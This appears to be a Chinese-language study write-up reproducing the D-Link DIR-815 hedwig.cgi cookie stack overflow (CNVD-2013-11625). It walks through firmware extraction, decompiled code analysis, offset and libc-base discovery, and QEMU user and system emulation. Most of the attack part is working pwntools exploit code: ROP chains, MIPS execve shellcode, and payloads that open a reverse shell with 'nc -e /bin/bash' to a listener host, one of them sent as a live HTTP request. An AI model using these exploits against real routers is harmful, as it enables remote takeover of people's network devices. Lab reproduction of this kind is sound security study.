binwalk源码安装 进入github
Releases · ReFirmLabs/binwalk
选择一个版本下载 Source Code.tar.gz
解压
1 tar -xzvf binwalk-2.3.4.tar.gz
启动安装脚本
1 sudo python3 setup.py install
http协议学习 概述 HTTP(HyperText Transfer Protocol)是一种超文本传输协议,是 web 进行数据交换的基础,是 客户端-服务器 协议
由请求和响应构成,请求由 请求行,消息报头,请求正文构成
请求头 1 <Method > <Request -URI > HTTP /<major >.<minor >\r \n
method 表示客户端希望服务器对目标资源执行的操作(如读取,创建,删除等)
常见 method
GET:读取资源,可被缓存
POST:向服务器提交数据
PUT:用请求题替换目标资源
DELETE:删除资源
PATCH:对资源进行部分修改
OPTIONS:查询服务器对资源所支持的方法
TRACE:回显请求
<Request-URI>-请求目标,表示请求的资源,常见:
Absolute-URI(绝对 URI)
例:http://example.com/path?query=1
在代理请求(forwarding)或某些代理场景常见。
absolute-path(绝对路径)
例:/index.html 或 /api/status?uptime=1
这是浏览器或客户端向 origin 服务器常用的形式。
authority(主机:端口,仅在 CONNECT 请求中用)
例:example.com:443(用于 CONNECT)。
asterisk-form
例:*(用于 OPTIONS * HTTP/1.1,指整个服务器而非单一资源)
HTTP/<major>.<minor>\r\n-协议版本
例如:
1 GET /index.html HTTP/1.1
消息报头 key: value
示例
1 2 3 4 5 6 7 8 Host: api.example.com User-Agent: curl/7.68.0 Accept: application/json Content-Type: application/json Content-Length: 55 Connection: keep-alive Cookie: session=abcd1234 Authorization: Bearer <token>
Host 指明要访问的服务器主机名字
User-Agent 告诉服务器我是哪个客户端/浏览器
Accept 希望收到数据的格式
Content-Type 我发过去的数据的格式
Content-Length 请求体长度(请求正文),只在需要传递数据时出现
Connection 是否保持TCP连接不关闭
Cookie 浏览器上次保存的 cookie,用于维持会话,比如登陆服务器返回 Set-Cookie: session=abcd1234 ,下次请求自动携带 Cookie: session=abcd1234 表明身份
Authorization 认证信息,验证我的身份是否合法(已登陆或有权限访问)
请求正文
可选,仅在需要传输数据时出现(POST/PUT/PATCH)
格式由 Content-Type 决定,长度:Content-Length
固件提取 下载地址:
https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/
binwalk提取:
1 binwalk -Me DIR-815-FW-1.01b14_1.01b14.bin
-M:Matryoshka模式,递归扫描嵌套文件
-e:Extract,自动提取识别出文件内容
-Me:递归提取所有嵌套文件
漏洞链接 国家信息安全漏洞共享平台
binwalk警告 我直接用 binwalk 提取后会报很多 warning,会因为安全而将软链接全部指向 /dev/null,这里修改源码,将 ./binwalk-2.3.4/src/binwalk/modules/extractor.py 里面最后几行改成
即可
分析 首先找到官方说的 hedwig.cgi
指向 /htdocs/cgibin,找到这个
32 位 mips 架构的程序
拖到 IDA 里
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 int __cdecl main (int argc, const char **argv, const char **envp) { const char *v3; char *v6; void (__noreturn *v8)(); int v9; v3 = *argv; v6 = strrchr (*argv, 47 ); if ( v6 ) v3 = v6 + 1 ; if ( !strcmp (v3, "phpcgi" ) ) { v8 = (void (__noreturn *)())phpcgi_main; v9 = argc; return ((int (__fastcall *)(int , const char **, const char **))v8)(v9, argv, envp); } if ( !strcmp (v3, "dlcfg.cgi" ) ) { v8 = (void (__noreturn *)())dlcfg_main; v9 = argc; return ((int (__fastcall *)(int , const char **, const char **))v8)(v9, argv, envp); } if ( !strcmp (v3, "seama.cgi" ) ) { v8 = (void (__noreturn *)())seamacgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "fwup.cgi" ) ) { v8 = (void (__noreturn *)())fwup_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "fwupdater" ) ) { v8 = fwupdater_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "session.cgi" ) ) { v8 = (void (__noreturn *)())&sessioncgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "captcha.cgi" ) ) { v8 = (void (__noreturn *)())&captchacgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "hedwig.cgi" ) ) { v8 = (void (__noreturn *)())&hedwigcgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "pigwidgeon.cgi" ) ) { v8 = (void (__noreturn *)())&pigwidgeoncgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "service.cgi" ) ) { v8 = (void (__noreturn *)())&servicecgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "ssdpcgi" ) ) { v8 = (void (__noreturn *)())ssdpcgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "soap.cgi" ) ) { v8 = (void (__noreturn *)())soapcgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "gena.cgi" ) ) { v8 = (void (__noreturn *)())genacgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "conntrack.cgi" ) ) { v8 = (void (__noreturn *)())&conntrackcgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } if ( !strcmp (v3, "hnap" ) ) { v8 = (void (__noreturn *)())&hnap_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } printf ("CGI.BIN, unknown command %s\n" , v3); return 1 ; }
进入 hedwigcgi_main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 int hedwigcgi_main () { char *v0; const char *v1; FILE *v2; int v3; int v4; int v5; const char *string ; FILE *v7; int v8; int v9; int v10; int *v11; int i; char *v13; const char **v14; int v15; char *v16; const char **v17; int v18; int v19; const char *v20; char v22[20 ]; char *v23; char *v24; int v25[3 ]; char v26[128 ]; char v27[1024 ]; memset (v27, 0 , sizeof (v27)); memset (v26, 0 , sizeof (v26)); strcpy (v22, "/runtime/session" ); v0 = getenv("REQUEST_METHOD" ); if ( !v0 ) { v1 = "no REQUEST" ; LABEL_7: v3 = 0 ; v4 = 0 ; LABEL_34: v9 = -1 ; goto LABEL_25; } if ( strcasecmp(v0, "POST" ) ) { v1 = "unsupported HTTP request" ; goto LABEL_7; } cgibin_parse_request(sub_409A6C, 0 , 0x20000 ); v2 = fopen("/etc/config/image_sign" , "r" ); if ( !fgets(v26, 128 , v2) ) { v1 = "unable to read signature!" ; goto LABEL_7; } fclose(v2); cgibin_reatwhite(v26); v4 = sobj_new(); v5 = sobj_new(); v3 = v5; if ( !v4 || !v5 ) { v1 = "unable to allocate string object" ; goto LABEL_34; } sess_get_uid(v4); string = (const char *)sobj_get_string(v4); sprintf (v27, "%s/%s/postxml" , "/runtime/session" , string ); xmldbc_del(0 , 0 , v27); v7 = fopen("/var/tmp/temp.xml" , "w" ); if ( !v7 ) { v1 = "unable to open temp file." ; goto LABEL_34; } if ( !haystack ) { v1 = "no xml data." ; goto LABEL_34; } v8 = fileno(v7); v9 = lockf(v8, 3 , 0 ); if ( v9 < 0 ) { printf ( "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>" , 0 ); v9 = 0 ; goto LABEL_26; } v10 = fileno(v7); lockf(v10, 1 , 0 ); v23 = v26; v24 = 0 ; memset (v25, 0 , sizeof (v25)); v24 = strtok(v22, "/" ); v11 = v25; for ( i = 2 ; ; ++i ) { v13 = strtok(0 , "/" ); *v11++ = (int )v13; if ( !v13 ) break ; } (&v23)[i] = (char *)sobj_get_string(v4); fputs ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" , v7); v14 = (const char **)&v23; v15 = 0 ; do { ++v15; fprintf (v7, "<%s>\n" , *v14++); } while ( v15 < i + 1 ); v16 = strstr (haystack, "<postxml>" ); fprintf (v7, "%s\n" , v16); v17 = (const char **)&(&v23)[i]; v18 = i + 1 ; do { --v18; fprintf (v7, "</%s>\n" , *v17--); } while ( v18 > 0 ); fflush(v7); xmldbc_read(0 , 2 , "/var/tmp/temp.xml" ); v19 = fileno(v7); lockf(v19, 0 , 0 ); fclose(v7); remove("/var/tmp/temp.xml" ); v20 = (const char *)sobj_get_string(v4); sprintf (v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s" , "/runtime/session" , v20); xmldbc_ephp(0 , 0 , v27, stdout ); if ( v9 ) { v1 = 0 ; LABEL_25: printf ( "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>" , v1); } LABEL_26: if ( haystack ) free (haystack); if ( v3 ) sobj_del(v3); if ( v4 ) sobj_del(v4); return v9; }
1 v0 = getenv("REQUEST_METHOD" );
这是一个获取环境变量的函数,搜索名字为 REQUEST_METHOD 的环境变量,返回其指针
然后走到 cgibin_parse_request(sub_409A6C, 0, 0x20000);
这个函数会先对 url 进行解析,然后将 POST 内容读进来,通过 sub_409a6c 进行解析
在 cgibin_parse_request 内部
会获取几个环境变量,需要我们随便输入一点东西
到
进入其内部
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 int __fastcall sess_get_uid (int a1) { _DWORD *v2; char *v3; _DWORD *v4; char *v5; int v6; int v7; char *string ; int result; v2 = sobj_new(); v4 = sobj_new(); v3 = getenv("HTTP_COOKIE" ); if ( !v2 ) goto LABEL_27; if ( !v4 ) goto LABEL_27; v5 = v3; if ( !v3 ) goto LABEL_27; v6 = 0 ; while ( 1 ) { v7 = *v5; if ( !*v5 ) break ; if ( v6 == 1 ) goto LABEL_11; if ( v6 < 2 ) { if ( v7 == 32 ) goto LABEL_18; sobj_free(v2); sobj_free(v4); LABEL_11: if ( v7 == 59 ) { v6 = 0 ; } else { v6 = 2 ; if ( v7 != 61 ) { sobj_add_char(v2, v7); v6 = 1 ; } } goto LABEL_18; } if ( v6 == 2 ) { if ( v7 == 59 ) { v6 = 3 ; goto LABEL_18; } sobj_add_char(v4, *v5++); } else { v6 = 0 ; if ( !sobj_strcmp(v2, "uid" ) ) goto LABEL_21; LABEL_18: ++v5; } } if ( !sobj_strcmp(v2, "uid" ) ) { LABEL_21: string = (char *)sobj_get_string(v4); goto LABEL_22; } LABEL_27: string = getenv("REMOTE_ADDR" ); LABEL_22: result = sobj_add_string(a1, string ); if ( v2 ) result = sobj_del(v2); if ( v4 ) return sobj_del(v4); return result; }
1 v3 = getenv("HTTP_COOKIE" );
对 http 的 cookie 进行获取,接着用提取 = 之前的字符并且存在 v2 里
1 2 3 4 5 6 7 8 9 else { v6 = 2 ; if ( v7 != '=' ) { sobj_add_char(v2, v7); v6 = 1 ; } }
读取到 = ,v6 就会保持2,从而进入下一个分支
提取 = 之后的字符串
1 2 3 4 5 6 7 8 9 if ( v6 == 2 ) { if ( v7 == ';' ) { v6 = 3 ; goto LABEL_18; } sobj_add_char(v4, *v5++); }
存到 v4 里
最后将 v2 和 uid 作比较,所以可以总结出,该函数作用就是提取 uid,如果没有拿到 cookie 就返回 ip 地址
回到 hedwigcgi_main
1 2 3 sess_get_uid(v4); string = (const char *)sobj_get_string(v4); sprintf (v27, "%s/%s/postxml" , "/runtime/session" , string );
这里将 string 加入到 v27 里,而其大小为 1024 ,可能发生栈溢出
1 2 v20 = (const char *)sobj_get_string(v4);sprintf (v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s" , "/runtime/session" , v20);
这里也有一个对 v27 写入的,但是由于写入的 v20 是 v4,也就是 uid= 之后,而 v4 未改变,所以同样是 uid= 后面的内容可以被我们当作 payload 利用
而走到这需要一些条件
1 2 3 4 5 6 v7 = fopen("/var/tmp/temp.xml" , "w" );if ( !v7 ) { v1 = "unable to open temp file." ; goto LABEL_34; }
要能够成功打开 /var/tmp/temp.xml
这个在模拟环境下创建 /var/tmp 即可
第二个则是
1 2 3 4 5 if ( !haystack ) { v1 = "no xml data." ; goto LABEL_34; }
需要 !haystack 不为 0
该值在
1 cgibin_parse_request(sub_409A6C, 0 , 0x20000 );
中有出现,进入查看
当 REQUEST_URI 有东西时,就不会使 v9=0,也就会执行到
这里会进行一系列函数调用,会调用到
改变 haystack 值从而可以溢出
这里就要求环境变量 REQUEST_URI 中有内容,将其设置为 application/x-www-form-urlencoded
用户态模拟 测量偏移 执行
创建 start.sh
1 2 3 4 5 6 7 8 9 10 11 INPUT="yyyffff=Pwner" LEN=$(echo -n "$INPUT " | wc -c) COOKIE="uid=`cat payload`" echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin
并且创建 mygdb.sh
1 2 3 4 5 set architecture mips set follow-fork-mode child set detach-on-fork off target remote 127.0.0.1:1234
然后执行
1 2 3 4 chmod +x start.sh ./start.sh gdb-multiarch -x mygdb.sh
最终 gdb-mutiarch 应该如下
最终确定偏移1009
1 2 yy@yy-virtual-machine:~/桌面/dir815_FW_101/_DIR-815_FW_1.01b14_1.01b14.bin.extraed/squashfs-root$ cyclic -l 0x646b6161 1009
同时我们也可以控制一些寄存器
从 s0 开始偏移为 973 然后紧邻着
原因在于
可以被我们利用来构造 rop
确定libc基址 因为我的 ubuntu18 中的 gdb-multiarch 一连上就崩溃,这里用 ubuntu22.04 来调试:(
利用函数延迟绑定,将断点下在
第一次 t9 中存的是延迟绑定的地址
第二次就是真实地址了
(记得关闭地址随机化,不然libcbase会一直变)
这里得到 memset_addr=0x3ff6ca20
然后接下去就是找 memset 的偏移
将 libc 本体—libuClibc-0.9.30.1.so 放入 IDA,找到 memset 函数
确定偏移为 0x34a20
相减得到 libcbase=0x3FF38000
纯rop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context(os = 'linux' , arch = 'mips' , log_level = 'debug' ) libc_base = 0x3FF38000 payload = b'a' *0x3cd payload += p32(libc_base + 0x53200 - 1 ) payload += p32(libc_base + 0x159F4 ) payload += b'a' *4 payload += p32(libc_base + 0x6dfd0 ) payload += b'a' *(4 *2 ) payload += p32(libc_base + 0x32A98 ) payload += b'a' *(4 *2 ) payload += p32(libc_base + 0x13F8C ) payload = b"uid=" + payload post_content = "pwner" io = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=11 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -E REQUEST_URI="2333" \ ./htdocs/cgibin """ , shell = True ) io.send(post_content) io.interactive()
解释一下,这里覆盖 ra 为这个,首先给 a0 ,也就是第一个参数为/bin/sh 然后跳到 s6 执行将 s0+1 ,因为我们为了避免 0 截断,给 s0 system 地址 -1 了,最后跳到 s1 执行,最终执行 system(/bin/sh)
不过这样打不通,根据 winmt 师傅的博客是说 system 函数会执行一个 fork 但是用户模式不支持多线程从而导致 fork 失败而退出
rop+shellcode 因为 shellcode 是直接调用 exceve ,没有创建子进程,所以可以使用
这里还是借用一下 winmt 师傅的 poc(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * context(os = 'linux' , arch = 'mips' , log_level = 'debug' ) libc_base = 0x3FF38000 payload = b'a' *0x3cd payload += b'a' *4 payload += p32(libc_base + 0x436D0 ) payload += b'a' *4 payload += p32(libc_base + 0x56BD0 ) payload += b'a' *(4 *5 ) payload += p32(libc_base + 0x57E50 ) payload += b'a' *0x18 payload += b'a' *(4 *4 ) payload += p32(libc_base + 0x37E6C ) payload += p32(libc_base + 0x3B974 ) shellcode = asm(''' slti $a2, $zero, -1 li $t7, 0x69622f2f sw $t7, -12($sp) li $t6, 0x68732f6e sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 ''' ) payload += b'a' *0x18 payload += shellcode payload = b"uid=" + payload post_content = "winmt=pwner" io = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=11 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -E REQUEST_URI="2333" \ ./htdocs/cgibin """ , shell = True ) io.send(post_content) io.interactive()
成功拿到shell
qemu系统模式模拟 配置网络环境 安装工具
1 sudo apt-get install bridge-utils uml-utilities
修改 /etc/network/interfaces
1 2 3 4 5 6 7 8 9 10 11 12 13 14 auto lo iface lo inet loopback auto ens33 iface ens33 inet manual auto br0 iface br0 inet dhcp bridge_ports ens33 bridge_maxwait 0
这个的意思是:
br0 对外桥接 ens33。br0 通过 DHCP 获取 IP(相当于虚拟机自己“上网”)。可以让 QEMU 的 tap0 等接口挂到 br0 上,共享外网
这里我是 ens33,要根据自己 ip addr 显示出来的修改
修改完后,输入
1 sudo /etc/init.d/networking restart
重启网络配置
修改qemu网络接口启动脚本 在 /etc/qemu-ifup 文件中写入
1 2 3 4 5 6 7 #!/bin/sh echo "Executing /etc/qemu-ifup" echo "Bringing up $1 for bridge mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc upecho "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep 2
整体作用:
激活 QEMU 分配的 TAP 虚拟接口
设置混杂模式,准备桥接
把 TAP 接口加入宿主机的 br0 桥
暂停 2 秒等待网络稳定
创建包含qemu使用的所有桥的名称的配置文件 创建 /etc/qemu/bridge.conf 并且往其中写入 allow br0
旨在告诉 QEMU 哪些桥是允许的,否则桥接操作会被拒绝。
到这一步重启一下虚拟机
配置虚拟机内 下载内核及文件
下载地址:https://people.debian.org/~aurel32/qemu/mipsel/ . 下载其中的vmlinux-3.2.0-4-4kc-malta内核以及debian_squeeze_mipsel_standard.qcow2镜像文件。
安装好qemu后,将镜像和文件放在同一文件夹下,创建启动脚本
1 2 3 4 5 6 7 #!/bin/bash sudo qemu-system-mipsel \ -M malta -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -net nic,macaddr=00:16:3e:00:00:01 \ -net tap
chmod +x 后启动该脚本,进入qemu,其中初始账号密码为 root/root
进入后,首先使用 nano /etc/network/interfaces
这里 eth1 要用 ip addr 查看
1 2 allow-hotplug eth1 iface eth1 inet dhcp
然后用命令 ifup eth1 然后再使用ip addr 看到的应该是这样的
1 2 3 4 5 2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000 link /ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff inet 192.168.192.133/24 brd 192.168.192.255 scope global eth1 inet6 fe80::216:3eff:fe00:1/64 scope link valid_lft forever preferred_lft forever
不过我的虚拟机不知道为什么一直没有 ip,所以我自己添加了一下
在宿主机内用 ip addr 查看桥接 br0 的 ip
这里我的是
1 2 3 4 5 6 8: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link /ether 00:0c:29:21:f9:0e brd ff:ff:ff:ff:ff:ff inet 192.168.221.137/24 brd 192.168.221.255 scope global br0 valid_lft forever preferred_lft forever inet6 fe80::20c:29ff:fe21:f90e/64 scope link valid_lft forever preferred_lft forever
然后在虚拟机内用命令
1 2 ifconfig eth1 192.168.221.200 netmask 255.255.255.0 up route add default gw 192.168.221.2
然后 ip addr 就会变为
同时虚拟机内也能 ping 通宿主机,感觉像是成功了
然后可以通过 ssh 连上 qemu,因为 qemu 内部很难操作
1 ssh root@192.168.221.139
然后在宿主机内将固件发送到虚拟机内
1 scp -r ./squashfs-root root@192.168.221.139:/root/
启动http服务+准备工作 在 qemu 中 squashfs-root 下创建 http_conf ,写入(记得自己修改网卡、ip、端口)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 Umask 026 PIDFile /var/run/httpd.pid LogGMT On ErrorLog /log Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 } Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } } Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth1 Address 192.168.192.133 Port "1234" Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
开启物理机转发功能
在 /opt/tools/mipsel 目录下创建 init.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #! /bin/sh sudo sysctl -w net.ipv4.ip_forward=1sudo iptables -Fsudo iptables -Xsudo iptables -t nat -Fsudo iptables -t nat -Xsudo iptables -t mangle -Fsudo iptables -t mangle -Xsudo iptables -P INPUT ACCEPTsudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPTsudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEsudo iptables -I FORWARD 1 -i tap0 -j ACCEPTsudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
然后回到 qemu squashfs-root 目录下创建 init.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/bin/bash echo 0 > /proc/sys/kernel/randomize_va_spacecp http_conf /cp sbin/httpd /cp -rf htdocs/ /mkdir /etc_bakcp -r /etc /etc_bakrm /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so /lib/cp lib/libcrypt-0.9.30.1.so /lib/cp lib/libc.so.0 /lib/cp lib/libgcc_s.so.1 /lib/cp lib/ld-uClibc.so.0 /lib/cp lib/libcrypt.so.0 /lib/cp lib/libgcc_s.so /lib/cp lib/libuClibc-0.9.30.1.so /lib/cd /rm -rf /htdocs/web/hedwig.cgirm -rf /usr/sbin/phpcgirm -rf /usr/sbin/hnapln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgiln -s /htdocs/cgibin /usr/sbin/hnap ./httpd -f http_conf
然后 chmod +x 后启动,成功启动 httpd 服务
退出虚拟机的时候需要运行 fin.sh 脚本来恢复 /etc 文件夹
1 2 3 4 #!/bin/bash rm -rf /etcmv /etc_bak/etc /etcrm -rf /etc_bak
确定qemu中libc基址 需要下载一个工具
https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver 中下载 gdbserver.mipsle,然后传到 qemu 内
1 scp -r ./gdbserver.mipsle root@192.168.221.139:/root/squashfs-root
然后创建启动脚本 run.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash export CONTENT_LENGTH="11" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat payload`" export REQUEST_METHOD="POST" export REQUEST_URI="2333" echo "winmt=pwner" |./gdbserver.mipsle 192.168.221.139:6667 /htdocs/web/hedwig.cgiunset CONTENT_LENGTHunset CONTENT_TYPEunset HTTP_COOKIEunset REQUEST_METHODunset REQUEST_URI
然后 chmod +x 后运行
宿主机内 gdb-multiarch 设置好背景后 target remote 192.168.221.139:6667 用 vmmap
不知道为什么我的 vmmap 没有显示出 libcbase,所以这里我用了和上面一样的办法,找到 memset 真实地址然后跟上面一样减去偏移也得到了 libc 基址
libcbase=0x77f68a20-0x34a20=0x77f34000
法1:生成payload后传入qemu
首先在宿主机内创建脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context(os = 'linux' , arch = 'mips' , log_level = 'debug' ) cmd = b'nc -e /bin/bash 192.168.221.137 8888' libc_base = 0x77f34000 payload = b'a' *0x3cd payload += p32(libc_base + 0x53200 - 1 ) payload += p32(libc_base + 0x169C4 ) payload += b'a' *(4 *7 ) payload += p32(libc_base + 0x32A98 ) payload += b'a' *0x18 payload += cmd fd = open ("payload" , "wb" ) fd.write(payload) fd.close()
然后运行脚本,生成 payload 文件,用 scp 传入 qemu
1 scp -r ./payload root@192.168.221.139:/root/squashfs-root
然后宿主机内开启监听你刚刚打开的端口
然后 qemu 内运行 run.sh。需要把注释改到上一行,也就是
1 2 echo "winmt=pwner" |/htdocs/web/hedwig.cgi
然后就成功了o( ̄▽ ̄ )ブ
法2:直接发送http报文 创建脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * import requests context(os = 'linux' , arch = 'mips' , log_level = 'debug' ) cmd = b'nc -e /bin/bash 192.168.221.137 8888' libc_base = 0x77f34000 payload = b'a' *0x3cd payload += p32(libc_base + 0x53200 - 1) payload += p32(libc_base + 0x169C4) payload += b'a' *(4*7) payload += p32(libc_base + 0x32A98) payload += b'a' *0x18 payload += cmd url = "http://192.168.221.139:6666/hedwig.cgi" data = {"XiDP" : "pwner" } headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded" , "Content-Length" : "10" } res = requests.post(url = url, headers = headers, data = data)print (res)
同样监听你选择的端口,然后 python3 运行,也成功了
学习文章 [原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区
DIR-815 栈溢出漏洞(CNVD-2013-11625)复现-先知社区